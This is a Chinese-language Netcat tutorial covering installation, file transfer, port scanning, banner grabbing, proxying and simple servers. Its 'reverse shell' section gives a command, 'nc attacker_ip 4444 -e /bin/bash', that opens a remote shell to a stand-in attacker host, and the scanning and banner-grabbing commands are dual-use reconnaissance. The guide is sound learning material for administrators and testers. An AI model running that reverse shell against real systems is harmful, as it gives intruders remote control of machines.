Netcat (nc) - 网络瑞士军刀 🔧
Netcat是一个功能强大的网络工具，可以用于端口扫描、文件传输、聊天服务器等多种用途。
📦 安装
CentOS/RHEL/Fedora
# 安装netcat
yum install netcat -y
# 或者
dnf install netcat -y
Ubuntu/Debian
# 安装netcat-traditional
apt-get install netcat-traditional -y
# 或者安装netcat-openbsd
apt-get install netcat-openbsd -y
🚀 基本用法
文件传输
接收端 (Server):
# 监听12345端口，将接收的数据保存到file.tgz
nc -l -p 12345 > file.tgz
发送端 (Client):
# 连接到服务器并发送文件
nc <server_ip> 12345 < file.tgz
端口扫描
# 扫描单个端口
nc -vz target_host 22
# 扫描端口范围
nc -vz target_host 20-25
# 扫描多个端口
nc -vz target_host 22 80 443
简易聊天服务器
# 服务器端
nc -l -p 1234
# 客户端
nc server_ip 1234
🔧 高级用法
Banner抓取
# 获取SSH服务banner
echo "" | nc target_host 22
# 获取HTTP服务banner
echo "HEAD / HTTP/1.0\n\n" | nc target_host 80
反向Shell
# 攻击者监听
nc -l -p 4444
# 目标机器执行
nc attacker_ip 4444 -e /bin/bash
⚠️ 安全警告: 反向Shell功能仅用于合法的渗透测试和系统管理，请勿用于非法目的。
创建代理
# 将本地1234端口的流量转发到远程服务器的80端口
mkfifo /tmp/pipe
nc -l -p 1234 < /tmp/pipe | nc target_host 80 > /tmp/pipe
📊 常用参数
| 参数 | 说明 |
|---|---|
-l |
监听模式 |
-p |
指定端口 |
-v |
详细输出 |
-z |
扫描模式，不发送数据 |
-u |
UDP模式 |
-n |
不使用DNS解析 |
-w |
设置超时时间 |
-e |
执行程序 |
💡 实用技巧
1. 测试网络连通性
# 测试TCP连接
nc -vz google.com 80
# 测试UDP连接
nc -vzu dns.google 53
2. 创建简单HTTP服务器
# 创建index.html
echo "<h1>Hello World</h1>" > index.html
# 启动简单HTTP服务
while true; do nc -l -p 8080 < index.html; done
3. 备份通过网络传输
# 发送端 (压缩并传输)
tar czf - /path/to/backup | nc target_host 1234
# 接收端 (接收并解压)
nc -l -p 1234 | tar xzf -
🔒 安全注意事项
- 防火墙配置: 使用nc进行文件传输时，确保防火墙允许相应端口通信
- 加密传输: 对于敏感数据，考虑使用SSH隧道或其他加密方式
- 访问控制: 在生产环境中谨慎使用nc的监听功能
- 日志监控: 监控nc的使用情况，防止恶意使用
📚 相关工具
- nmap: 更专业的端口扫描工具
- socat: nc的增强版本
- telnet: 简单的网络测试工具
- curl: HTTP客户端工具
💡 小贴士: Netcat是系统管理员和网络工程师的必备工具之一，掌握其基本用法可以大大提高工作效率。